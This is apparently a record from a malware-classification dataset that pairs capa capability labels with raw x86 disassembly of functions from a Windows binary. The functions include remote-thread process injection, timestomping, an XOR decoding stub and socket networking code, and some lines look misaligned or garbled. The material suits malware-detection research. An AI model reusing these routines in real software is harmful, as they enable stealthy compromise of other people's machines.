joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40155c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
push ebx
push esi
push edi
xor eax, eax
xor edi, edi
push 0x40
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x68]
push edi
xor esi, esi
push eax
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x6c], edi
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [ebp + 0xc], edi
je 0x401676
push edi
push edi
push 0xffffffffffffffff
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ebx, eax
cmp ebx, edi
je 0x401676
lea esi, [ebx + ebx + 2]
mov dword [ebp - 8], edi
cmp esi, edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
je 0x4014db
add esi, 0x13
and esi, 0xfffffff0
push esi
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
test eax, eax
je 0x4014db
push esi
mov ecx, eax
push 0
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp - 8]
test eax, eax
je 0x40166a
mov edx, dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push ebx
push eax
push 0xffffffffffffffff
push edx
push 0
push 0
call esi
xor ebx, ebx
cmp dword [ebp + 0x10], ebx
je 0x401607
push ebx
push ebx
push 0xffffffffffffffff
push ebx
push ebx
push ebx
call esi
mov dword [ebp + 0xc], eax
test eax, eax
je 0x401607
lea esi, [eax + eax + 2]
test esi, esi
je 0x401548
add esi, 0x13
and esi, 0xfffffff0
push esi
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x401545
push esi
push 0
push ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp + 0xc]
mov dword [ebp + 0xc], ebx
test ebx, ebx
je 0x401604
push eax
mov eax, dword [ebp + 0x10]
push ebx
push 0xffffffffffffffff
push eax
push 0
add byte [edx], ch
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor esi, esi
cmp dword [ebp + 8], esi
je 0x4015d3
push esi
push esi
push 0xffffffffffffffff
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp + 0x10], eax
test eax, eax
je 0x4015d3
lea ecx, [eax + eax + 2]
xor edi, edi
test ecx, ecx
je 0x4015b5
lea esi, [ecx + 0x13]
and esi, 0xfffffff0
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
pop esp
xor byte [eax], al
mov edi, eax
test edi, edi
je 0x4015b2
push esi
push 0
push edi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp + 0x10]
mov esi, edi
test edi, edi
je 0x4015cd
mov ecx, dword [ebp + 8]
push eax
push edi
push 0xffffffffffffffff
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x10], esi
test esi, esi
je 0x401604
mov ecx, dword [ebp - 8]
lea edx, [ebp - 0x20]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x401690
Capabilities:
Clear file content
Parse pe header
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 4], 0
test eax, eax
je 0x4017a3
push 0
lea ecx, [ebp - 4]
push ecx
call fcn.004011a0
mov edi, eax
test edi, edi
je 0x4017a3
mov edx, 0x5a4d
cmp word [edi], dx
jne 0x401781
mov esi, dword [edi + 0x3c]
cmp dword [esi + edi], 0x4550
push eax
inc ebp
add byte [eax], al
jne 0x401781
rdtsc
xor dword [0x426f70], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor dword [0x426f70], eax
push 0x4031fc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x401718
push 0x403208
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401718
push 0x426f70
call eax
mov ecx, dword [0x426f70]
or ebx, 0xffffffff
xor edx, edx
mov eax, ecx
div ebx
add eax, ecx
mov dword [esi + edi + 0x58], eax
mov eax, dword [ebp - 4]
mov ebx, eax
test eax, eax
je 0x401781
mov eax, dword [ebp + 8]
push 0
push 0x80
push 2
push 0
push 7
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax

Function at 0x401820
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
push str._globalroot_systemroot_system32drivers_ntfs.sys
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x4018a0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x1c]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebx
mov eax, dword [ebp + 8]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push eax
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x4018a0
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401e60
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [0x40553c]
push 0x403a48
lea ebx, [ebx + 0x405500]
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x401fe2
push esi
push edi
push 0x403a48
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov eax, dword [ebx + 0x50]
mov edi, dword [ebp + 8]
push 0x40
push 0x3000
add eax, 0x21800
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
je 0x401fe0
xor ecx, ecx
mov dword [ebx + 0x58], 0x21800
mov word [0x405500], cx
mov eax, dword [ebx + 0x54]
lea edx, [ebp - 4]
push edx
push eax
push 0x405500
push esi
push edi
mov dword [ebx], ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx ecx, word [ebx + 0x14]
xor edx, edx
lea eax, [ecx + ebx + 0x18]
mov dword [ebp - 8], 0
cmp dx, word [ebx + 6]
jae 0x401f6e
lea esi, [eax + 8]
mov edi, edi
mov eax, dword [esi]
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x401f56
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
push ecx
add edx, 0x405500
push edx
push edi
call sub.MSVCRT.dll_memcpy
mov ecx, dword [esi]
mov edx, dword [esi + 4]
add edx, dword [ebp - 0xc]
add esp, 0xc
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 8]
push ecx
push edi
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 8]
movzx ecx, word [ebx + 6]
inc eax
add esi, 0x28
mov dword [ebp - 8], eax
cmp eax, ecx
jl 0x401f00
mov edi, dword [ebp + 8]
mov esi, dword [ebp - 0xc]
mov eax, dword [ebx + 0x50]
lea edx, [ebp - 4]
push edx
push 0x21800
push 0x405500
add eax, esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebx + 0x28]
push 0
push 0
add ecx, esi
push edi
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov edx, dword [ebp - 4]
push 0
push 0
push 0
push edx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x401fc5
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 4]
push 0
push 0
push 0
push eax
push 0
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.ntdll.dll_RtlCreateUserThread]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x430002
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x5c4e4215
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
mov ebx, 0x42e1d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x5baa4278
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401200
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov ecx, dword [ebp + 8]
push ebx
xor al, al
push esi
push edi
mov byte [esp + 0x13], al
test ecx, ecx
je 0x40131b
cmp dword [ecx], 0x756470
jne 0x40131b
cmp dword [ebp + 0xc], 0
je 0x40131b
mov esi, dword [ebp + 0x10]
test esi, esi
je 0x40131b
lea edi, [esi + 4]
push edi
call fcn.0040a9d0
mov ebx, eax
mov eax, dword [ebp + 0xc]
push esi
push eax
lea ecx, [ebx + 4]
push ecx
mov dword [esp + 0x24], ebx
mov dword [ebx], esi
call sub.ntdll.dll_memcpy
xor eax, eax
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov dword [esp + 0x32], eax
mov word [esp + 0x36], ax
mov eax, dword [ebp + 0x18]
add esp, 0x10
mov edx, 2
push eax
mov word [esp + 0x1c], dx
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [ebp + 0x14]
mov word [esp + 0x1a], ax
mov dword [esp + 0x1c], ecx
test edi, edi
je 0x4012f1
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
push 0x10
lea edx, [esp + 0x1c]
push edx
push 0
push edi
push ebx
push ecx
call dword [sym.imp.WS2_32.dll_sendto]
mov esi, eax
cmp esi, 0xffffffff
je 0x4012e9
mov edx, dword [ebp + 8]
push esi
add edx, 0x1c
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
sub edi, esi
add ebx, esi
test edi, edi
jne 0x401297
mov ebx, dword [esp + 0x14]
push ebx
mov byte [esp + 0x17], 1
call fcn.0040abe0
mov al, byte [esp + 0x17]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test edi, edi
jne 0x40130a
mov ebx, dword [esp + 0x14]
push ebx
mov byte [esp + 0x17], 1
call fcn.0040abe0
mov al, byte [esp + 0x17]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [esp + 0x14]
push ebx
call fcn.0040abe0
mov al, byte [esp + 0x17]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4013b0
Capabilities:
Create tcp socket
Create thread
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0x24
call fcn.0040a7c0
add esp, 4
push 0
push 0
mov esi, eax
push 1
push 0
mov dword [esi], 0x756470
mov dword [esi + 4], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0x11
push 2
push 2
mov dword [esi + 0x10], eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 8], eax
cmp eax, 0xffffffff
jne 0x4013fd
push esi
call fcn.00401330
add esp, 4
xor esi, esi
test esi, esi
je 0x401462
xor eax, eax
mov dword [esp + 6], eax
mov dword [esp + 0xa], eax
mov dword [esp + 0xe], eax
mov word [esp + 0x12], ax
mov eax, 2
push 0x10
lea ecx, [esp + 8]
mov word [esp + 8], ax
mov edx, dword [esi + 8]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x401444
push esi
call fcn.00401330
add esp, 4
xor eax, eax
pop esi
add esp, 0x10
ret
mov eax, dword [esp + 0x18]
push 0
push 0
push esi
push 0x401100
push 0
push 0
mov dword [esi + 0xc], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x14], eax
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x401470
Capabilities:
Create tcp socket
Create thread
Create udp socket
Set socket configuration

Disassembly:
sub esp, 0x10
push edi
mov edi, dword [esp + 0x1c]
xor eax, eax
test di, di
je 0x401576
push ebx
mov ebx, dword [esp + 0x24]
test ebx, ebx
je 0x401575
push esi
push 0x24
call fcn.0040a7c0
add esp, 4
push 0
push 0
mov esi, eax
push 1
push 0
mov dword [esi], 0x756470
mov dword [esi + 4], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0x11
push 2
push 2
mov dword [esi + 0x10], eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 8], eax
cmp eax, 0xffffffff
jne 0x4014da
push esi
call fcn.00401330
add esp, 4
xor esi, esi
test esi, esi
je 0x401572
xor eax, eax
mov dword [esp + 0xe], eax
mov dword [esp + 0x12], eax
mov dword [esp + 0x16], eax
mov word [esp + 0x1a], ax
mov eax, dword [esp + 0x20]
mov ecx, 2
push edi
mov dword [esp + 0x14], eax
mov word [esp + 0x10], cx
call dword [sym.imp.WS2_32.dll_htons]
push 1
lea edx, [esp + 0x28]
push edx
push 4
mov word [esp + 0x1a], ax
mov byte [esp + 0x30], 1
mov eax, dword [esi + 8]
push 0xffff
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
mov edx, dword [esi + 8]
push 0x10
lea ecx, [esp + 0x10]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x401558
push esi
call fcn.00401330
add esp, 4
pop esi
pop ebx
xor eax, eax
pop edi
add esp, 0x10
ret
push 0
push 0
push esi
push 0x401100
push 0
push 0
mov dword [esi + 0xc], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x14], eax
mov eax, esi
pop esi
pop ebx
pop edi
add esp, 0x10
ret

Function at 0x401ae0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_WSASend]
push ebp
mov ebp, dword [esp + 0xc]
mov ecx, dword [ebp + 0x260]
push edi
push 0
push esi
push 0
lea eax, [esp + 0x1c]
push eax
push 1
lea edi, [esi + 0x1c]
push edi
push ecx
mov dword [esp + 0x2c], 0
call ebx
test eax, eax
je 0x401b50
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
je 0x401b50
cmp eax, 0x2733
jne 0x401b56
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0x260]
push 0
push esi
push 0
lea edx, [esp + 0x1c]
push edx
push 1
push edi
push eax
mov dword [esp + 0x2c], 0
call ebx
test eax, eax
jne 0x401b12
pop edi
pop ebp
mov al, 1
pop ebx
ret
pop edi
pop ebp
xor al, al
pop ebx
ret
Function at 0x401d60
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x1c
cmp dword [esp + 0x20], 0
push esi
push edi
mov esi, eax
mov edi, ecx
jne 0x401ef2
test ebx, ebx
je 0x401ef2
call fcn.0040ded0
push eax
lea eax, [edi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x18]
sub eax, 0
je 0x401e4e
sub eax, 1
jne 0x401f49
cmp byte [edi + 0x275], al
je 0x401dbc
add edi, 0x21c
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
pop edi
pop esi
add esp, 0x1c
ret
lea ecx, [edi + 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov edx, dword [edi + 0x27c]
push ebx
add edx, 0x44
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov eax, dword [edi + 0x264]
mov ecx, dword [edi + 0x268]
mov edx, dword [edi + 0x26c]
mov dword [esp + 8], eax
mov eax, dword [edi + 0x270]
mov dword [esp + 0xc], ecx
mov ecx, dword [edi + 0x278]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], ecx
mov ecx, dword [edi + 0x27c]
lea eax, [esp + 8]
lea edx, [edi + 8]
push eax
mov dword [esp + 0x20], edx
push ecx
mov ecx, 3
mov edx, edi
mov dword [esp + 0x28], ebx
call fcn.00401740
add esp, 8
mov eax, edi
call fcn.00401cf0
test al, al
jne 0x401f49
mov byte [edi + 0x275], 1
pop edi
pop esi
add esp, 0x1c
ret
cmp byte [edi + 0x275], 0
je 0x401e67
add esi, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
pop edi
pop esi
add esp, 0x1c
ret
add dword [esi + 0x28], ebx
mov eax, dword [esi + 0x28]
cmp eax, dword [esi + 0x24]
jae 0x401e87
add dword [esi + 0x20], ebx
sub dword [esi + 0x1c], ebx
push edi
call fcn.00401ae0
add esp, 4
pop edi
pop esi
add esp, 0x1c
ret
lea edx, [esi + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ecx, dword [edi + 0x268]
mov edx, dword [edi + 0x26c]
mov eax, dword [edi + 0x264]
mov dword [esp + 0xc], ecx
mov ecx, dword [edi + 0x278]
mov dword [esp + 0x10], edx
mov edx, dword [esi + 0x30]
mov dword [esp + 0x18], ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x270]
mov dword [esp + 0x1c], edx
mov edx, dword [edi + 0x27c]
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0x18], eax
mov eax, dword [esi + 0x28]
push edx
mov ecx, 2
mov edx, edi
mov dword [esp + 0x28], eax
call fcn.00401740
add esp, 8
pop edi
pop esi
add esp, 0x1c
ret
add esi, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 4
lea edx, [esp + 0x2c]
push edx
mov eax, 1
push 0x80
mov word [esp + 0x34], ax
mov eax, dword [edi + 0x260]
push 0xffff
xor ecx, ecx
push eax
mov byte [edi + 0x275], 1
mov word [esp + 0x3e], cx
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [edi + 0x260]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi + 0x260], 0xffffffff
pop edi
pop esi
add esp, 0x1c
ret
Function at 0x402020
Capabilities:
Create tcp socket
Create udp socket
Get system information on windows
Set socket configuration

Disassembly:
sub esp, 0x38
push esi
push 0x4c
call fcn.0040a7c0
mov esi, eax
add esp, 4
test esi, esi
je 0x4021aa
lea eax, [esp + 0x18]
push eax
mov dword [esi], 0x494f4350
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [esp + 0x2c]
lea eax, [esi + 0x20]
lea edx, [ecx + ecx]
push eax
mov dword [esi + 4], edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x10], eax
test eax, eax
je 0x40219f
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [esi + 8], eax
test eax, eax
je 0x40219f
call fcn.0040db60
mov dword [esi + 0xc], eax
test eax, eax
je 0x40219f
push 1
push 0
push 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [esi + 0x14], eax
cmp eax, 0xffffffff
je 0x40219f
push 1
lea ecx, [esp + 0xb]
push ecx
push 4
push 0xffff
push eax
mov byte [esp + 0x1b], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [esp + 0x44]
xor eax, eax
mov dword [esp + 0xa], eax
mov dword [esp + 0xe], eax
mov dword [esp + 0x12], eax
mov word [esp + 0x16], ax
mov eax, dword [esp + 0x40]
mov edx, 2
push ecx
mov word [esp + 0xc], dx
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
mov word [esp + 0xe], ax
mov eax, dword [esi + 0x14]
push edx
push eax
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x40219f
mov ecx, dword [esi + 0x14]
push bind
push ecx
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x40219f
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [esi + 0x18], eax
test eax, eax
je 0x40219f
mov edx, dword [esi + 0x14]
push 8
push eax
push edx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x40219f
push edi
xor edi, edi
cmp dword [esi + 4], edi
jbe 0x40217f
mov eax, dword [esi + 0xc]
push 0
push 0
push esi
push 0x401f50
push 0
push eax
call fcn.0040db90
inc edi
add esp, 0x18
cmp edi, dword [esi + 4]
jb 0x402161
mov ecx, dword [esi + 0xc]
push 0
push 0
push esi
push 0x401920
push 0
push ecx
call fcn.0040db90
add esp, 0x18
pop edi
mov eax, esi
pop esi
add esp, 0x38
ret
push esi
call fcn.00401600
add esp, 4
xor eax, eax
pop esi
add esp, 0x38
ret
Function at 0x405c80
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x41ba48
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 3
push 0
push 0
push bind
push 0x41be88
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x405da5
push 0
push 0
push 0
push 2
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x405d9b
push 0
push 0
push 0
push 4
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x405d91
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x10], 0
je 0x405d87
cmp dword [ebp - 0x10], 0x100
jae 0x405d1e
jmp 0x405d87
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.0040d250
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x405d35
jmp 0x405d87
mov edx, dword [ebp - 0x10]
sub edx, 0x100
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [eax + 0xc]
jae 0x405d5a
mov edx, dword [ebp - 0x18]
push edx
call fcn.0040abe0
add esp, 4
jmp 0x405d87
push 0
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0xc]
add ecx, 0x100
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.00405db0
add esp, 0x10
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x10]
sub edx, dword [ecx + 0xc]
mov dword [ebp - 0x10], edx
jmp 0x405d0d
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x4063e0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x41c], ecx
cmp dword [ebp - 0x41c], 2
jb 0x406455
cmp dword [ebp - 0x41c], 3
jbe 0x40641c
cmp dword [ebp - 0x41c], 6
je 0x40641c
jmp 0x406455
push 0x208
lea edx, [ebp - 0x418]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x406455
push 4
push str.___
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
jne 0x406455
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x406460
Capabilities:
Get disk information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], reloc.WS2_32.dll_bind
mov dword [ebp - 4], reloc.WS2_32.dll_accept
mov dword [ebp - 0x14], 0
jmp 0x406496
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jae 0x406506
lea ecx, [ebp - 0x18]
push ecx
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + edx*4 - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x406504
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 4
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x1c]
push edx
push 0
push 0
push str.NoDrives
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4064fa
cmp dword [ebp - 0x1c], 0
je 0x4064fa
mov ecx, dword [ebp - 0xc]
or ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40648d
mov eax, dword [ebp - 0xc]
not eax
and eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret